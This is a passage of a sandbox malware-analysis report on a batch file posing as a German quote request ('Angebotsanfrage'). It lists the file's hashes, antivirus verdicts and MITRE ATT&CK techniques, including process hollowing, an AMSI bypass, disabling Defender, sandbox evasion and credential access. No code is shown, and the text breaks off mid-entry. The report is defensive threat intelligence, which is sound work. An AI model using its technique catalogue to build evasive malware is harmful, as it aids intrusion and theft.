00000000-00002940)30:["$","$Lc",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$33"}}],["$","$L35",null,{"initialData":{"schema_version":"1.0.17","sha256":"48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"SUCCESS","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1793968027350,"unified_at":"2026-11-06T12:27:07.350Z","metadata":{"hashes":{"sha256":"48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","sha1":"0234ffa81b292445b9e710591cd8ff0155b4d1b7","md5":"36b83f39d65bf13b68adb626dd9b2672","sha512":"358f470c5c3e5ad1ed6ca2430663b166b3c7f566d462bef4371117463dfd43f445740e78350074ec29a33e15fe6d0cd205086d4d264bc3bbcc668a31597e54d4","ssdeep":"6144:QzOISBFpXmFQCc+vWshBj3OcdU5ezFdBXu:cimFQCh7jBXu","ssdeep_chunks":["6144:QzOISBF","6144:zOISBFp","6144:OISBFpX","6144:ISBFpXm","6144:SBFpXmF","6144:BFpXmFQ","6144:FpXmFQC","6144:pXmFQCc","6144:XmFQCc+","6144:mFQCc+v","6144:FQCc+vW","6144:QCc+vWs","6144:Cc+vWsh","6144:c+vWshB","6144:+vWshBj","6144:vWshBj3","6144:WshBj3O","6144:shBj3Oc","6144:hBj3Ocd","6144:Bj3OcdU","6144:j3OcdU5","6144:3OcdU5e","6144:OcdU5ez","6144:cdU5ezF","6144:dU5ezFd","6144:U5ezFdB","6144:5ezFdBX","6144:ezFdBXu","12288:QzOISBF","12288:zOISBFp","12288:OISBFpX","12288:ISBFpXm","12288:SBFpXmF","12288:BFpXmFQ","12288:FpXmFQC","12288:pXmFQCc","12288:XmFQCc+","12288:mFQCc+v","12288:FQCc+vW","12288:QCc+vWs","12288:Cc+vWsh","12288:c+vWshB","12288:+vWshBj","12288:vWshBj3","12288:WshBj3O","12288:shBj3Oc","12288:hBj3Ocd","12288:Bj3OcdU","12288:j3OcdU5","12288:3OcdU5e","12288:OcdU5ez","12288:cdU5ezF","12288:dU5ezFd","12288:U5ezFdB","12288:5ezFdBX","12288:ezFdBXu","6144:cimFQCh","6144:imFQCh7","6144:mFQCh7j","6144:FQCh7jB","6144:QCh7jBX","6144:Ch7jBXu"],"imphash":"Unknown"},"file_info":{"file_name":"Angebotsanfrage_11-Aug-2026.bat","file_type":["script","bat"],"file_type_id":"bat","file_size":3151522,"entropy":3.28,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1786437638000,"last_seen":1787996181000,"last_multi_scan":1787996181000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":null},"stats":{"av":{"malicious_count":8,"suspicious_count":0,"total_engines":24},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":79},"sandbox_signatures":{"informative_count":164,"suspicious_count":16,"malicious_count":10,"total":190},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/BAT.Agent","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Trojan.GenericKD.81089084","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Trojan.GenericKD.81089084 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"PowerShell/Agent.BDR trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"Trojan/Generic!28A54E434D8E21C4","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"ABmRisk.UHOX-","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"suspicious","value":"Uses powershell with an encoded commandline"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"YARA signature match – Encryption algorithm"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Contains CRYPTO related strings"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Contains ability to decode base64 data"},{"type":"informative","value":"Able to decrypt/decode data"},{"type":"informative","value":"Contains ability to perform decryption (API string)"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Found named pipe like strings"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"suspicious","value":"Contains references to WMI/WMIC"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Contains ability to load modules (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Fails to load modules at runtime"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Loads the .NET runtime environment"},{"type":"informative","value":"Loads modules at runtime"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"informative","value":"Executes batch file"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"malicious","value":"Executes powershell requesting to bypass execution policy"},{"type":"informative","value":"Executes PowerShell with command line"},{"type":"informative","value":"YARA signature match - PowerShell file content"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to start a process (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"suspicious","value":"Modifies Software Policy Settings"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Writes registry keys"},{"type":"informative","value":"Accesses System Certificates Settings"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Found PE header in memory"},{"type":"informative","value":"Able to inject code into another process (API string)"},{"type":"malicious","value":"Creates a process in suspended mode (likely for process injection)"},{"type":"malicious","value":"Writes data to a remote process"},{"type":"malicious","value":"Windows system process connects to a network"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"},{"type":"malicious","value":"Script loads executable in memory (Antimalware Scan Interface)"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Privilege Escalation","technique":"Process Hollowing","attack_id":"T1055.012","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/012","identifiers":[{"type":"malicious","value":"Sets thread context in a remote process (often injection or process hollowing)"},{"type":"malicious","value":"Creates a system process in suspended mode (likely for process injection)"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to show a graphical window (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using API string"},{"type":"suspicious","value":"Queries process mitigation policy via NtQueryInformationProcess"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"suspicious","value":"Marks file for deletion"},{"type":"informative","value":"Contains ability to delete files"},{"type":"informative","value":"Calls an API typically used to remove a directory"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Defense Evasion","technique":"Rootkit","attack_id":"T1014","attack_id_wiki":"https://attack.mitre.org/techniques/T1014","identifiers":[{"type":"informative","value":"References device drivers used by rootkit malware"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"tactic":"Defense Evasion","technique":"Time Based Checks","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"},{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"},{"type":"suspicious","value":"Calls an API typically used to query local/system time as file time"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Contains ability to disable Windows Defender using PowerShell"},{"type":"informative","value":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)"},{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"},{"type":"suspicious","value":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"},{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"},{"type":"informative","value":"Triggers a burst of requests to the same API (API Hammering)"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Defense Evasion","technique":"Match Legitimate Resource Name or Location","attack_id":"T1036.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/005","identifiers":[{"type":"informative","value":"Creates file(s) in System32 or SysWOW64 directory"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Defense Evasion","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Defense Evasion","technique":"Mutual Exclusion","attack_id":"T1480.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1480/002","identifiers":[{"type":"informative","value":"Creates mutants"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Defense Evasion","technique":"Command Obfuscation","attack_id":"T1027.010","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/010","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Defense Evasion","technique":"Delay Execution","attack_id":"T1678","attack_id_wiki":"https://attack.mitre.org/techniques/T1678","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Defense Evasion","technique":"Compile After Delivery","attack_id":"T1027.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/004","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Defense Evasion","technique":"System Binary Proxy Execution","attack_id":"T1218","attack_id_wiki":"https://attack.mitre.org/techniques/T1218","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Defense Evasion","technique":"Encrypted/Encoded File","attack_id":"T1027.013","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/013","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Reads the windows installation date"},{"type":"informative","value":"Able to discover operating system information (API string)"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Contains ability to retrieve environment variable settings"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Found system command-related strings"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Detected file retrieval based on search patterns"},{"type":"suspicious","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Reads files"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Detected Suricata Alert - External IP Lookup"},{"type":"malicious","value":"Attempts to identify external IP address"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Able to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"},{"type":"informative","value":"Calls an API typically used to retrieve user name"},{"type":"informative","value":"Able to query security token membership for user discovery (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Process launched with changed 